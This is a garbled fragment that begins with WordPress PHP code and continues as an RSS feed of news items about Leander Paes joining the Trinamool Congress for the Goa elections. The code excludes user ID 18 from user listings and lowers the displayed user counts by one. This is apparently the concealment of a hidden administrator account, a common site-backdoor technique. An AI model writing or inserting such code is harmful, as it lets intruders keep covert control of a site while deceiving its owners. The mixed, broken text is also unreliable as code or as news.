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    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
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} );

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        if ( isset( $views[ $key ] ) ) {
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                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
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                1
            );
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    return $views;
} );

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} );

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		<title>Leander Paes &#8220;Open To Contesting Election&#8221;, Says &#8220;Let Mamata Didi&#8221; Decide</title>
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					<description><![CDATA[<p>Former tennis star Leander Paes, who is expected to be the face of the Trinamool Congress in Goa&#8217;s assembly elections next year, told NDTV that he has only changed his &#8220;vehicle&#8221; but will continue to play for India. Mr. Paes, who joined Trinamool last week, said the party approached him directly. &#160; Mr. Paes told [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Former tennis star Leander Paes, who is expected to be the face of the Trinamool Congress in Goa&#8217;s assembly elections next year, told NDTV that he has only changed his &#8220;vehicle&#8221; but will continue to play for India. Mr. Paes, who joined Trinamool last week, said the party approached him directly.</p>
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<p>Mr. Paes told NDTV: &#8220;My relationship with Mamata Banerjee goes back many years,&#8221; said the 48-year-old, whose mother is from Bengal.  &#8220;When Mamata didi says something, she delivers… she is a true champion.&#8221;</p>
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					<description><![CDATA[<p>Leander Paes, a well-known tennis player, joined the Trinamool Congress on Friday in the presence of party supremo and West Bengal Chief Minister Mamata Banerjee, ahead of the state assembly elections in Goa next year. &#160; Bengal Chief Minister Mamata Banerjee is currently on a two-day visit to the poll-bound coastal state, where she is [&#8230;]</p>
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<p>Bengal Chief Minister Mamata Banerjee is currently on a two-day visit to the poll-bound coastal state, where she is anticipated to talk with a variety of people about expanding her party&#8217;s influence in the state. She has already stated that her party will run for all seats in the forthcoming assembly elections, demonstrating her national ambitions.</p>
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